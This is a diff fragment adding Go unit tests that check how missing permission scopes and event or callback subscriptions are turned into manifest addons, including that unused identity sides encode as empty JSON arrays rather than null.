+func TestMissingScopeAddons_ByIdentity(t *testing.T) {
+	bot := missingScopeAddons(core.AsBot, []string{"im:message"})
+	if bot.Scopes == nil || len(bot.Scopes.Tenant) != 1 || len(bot.Scopes.User) != 0 {
+		t.Errorf("bot scopes = %+v, want tenant-only", bot.Scopes)
+	}
+	user := missingScopeAddons(core.AsUser, []string{"im:message"})
+	if user.Scopes == nil || len(user.Scopes.User) != 1 || len(user.Scopes.Tenant) != 0 {
+		t.Errorf("user scopes = %+v, want user-only", user.Scopes)
+	}
+}
+
+func TestMissingSubscriptionAddons_EventVsCallback(t *testing.T) {
+	ev := missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"})
+	if ev.Events == nil || len(ev.Events.Items.Tenant) != 1 {
+		t.Errorf("event addons = %+v, want events.items.tenant", ev.Events)
+	}
+	cb := missingSubscriptionAddons(eventlib.SubTypeCallback, core.AsBot, []string{"card.action.trigger"})
+	if cb.Callbacks == nil || len(cb.Callbacks.Items) != 1 || cb.Events != nil {
+		t.Errorf("callback addons = %+v, want callbacks.items only", cb)
+	}
+}
+
+func TestMissingAddons_EncodeEmptyArraysNotNull(t *testing.T) {
+	// Unused identity sides must encode as [] (not null) so the launcher page's
+	// shape validation treats them as "缺省 -> 空数组" per the addons spec.
+	cases := []ManifestAddons{
+		missingScopeAddons(core.AsBot, []string{"im:message"}),
+		missingScopeAddons(core.AsUser, []string{"im:message"}),
+		missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"}),
+	}
+	for i, a := range cases {
+		raw, err := json.Marshal(a)
+		if err != nil {
+			t.Fatalf("case %d marshal: %v", i, err)
+		}
+		if bytes.Contains(raw, []byte("null")) {
+			t.Errorf("case %d encodes a null array, want []: %s", i, raw)
+		}
 	}
 }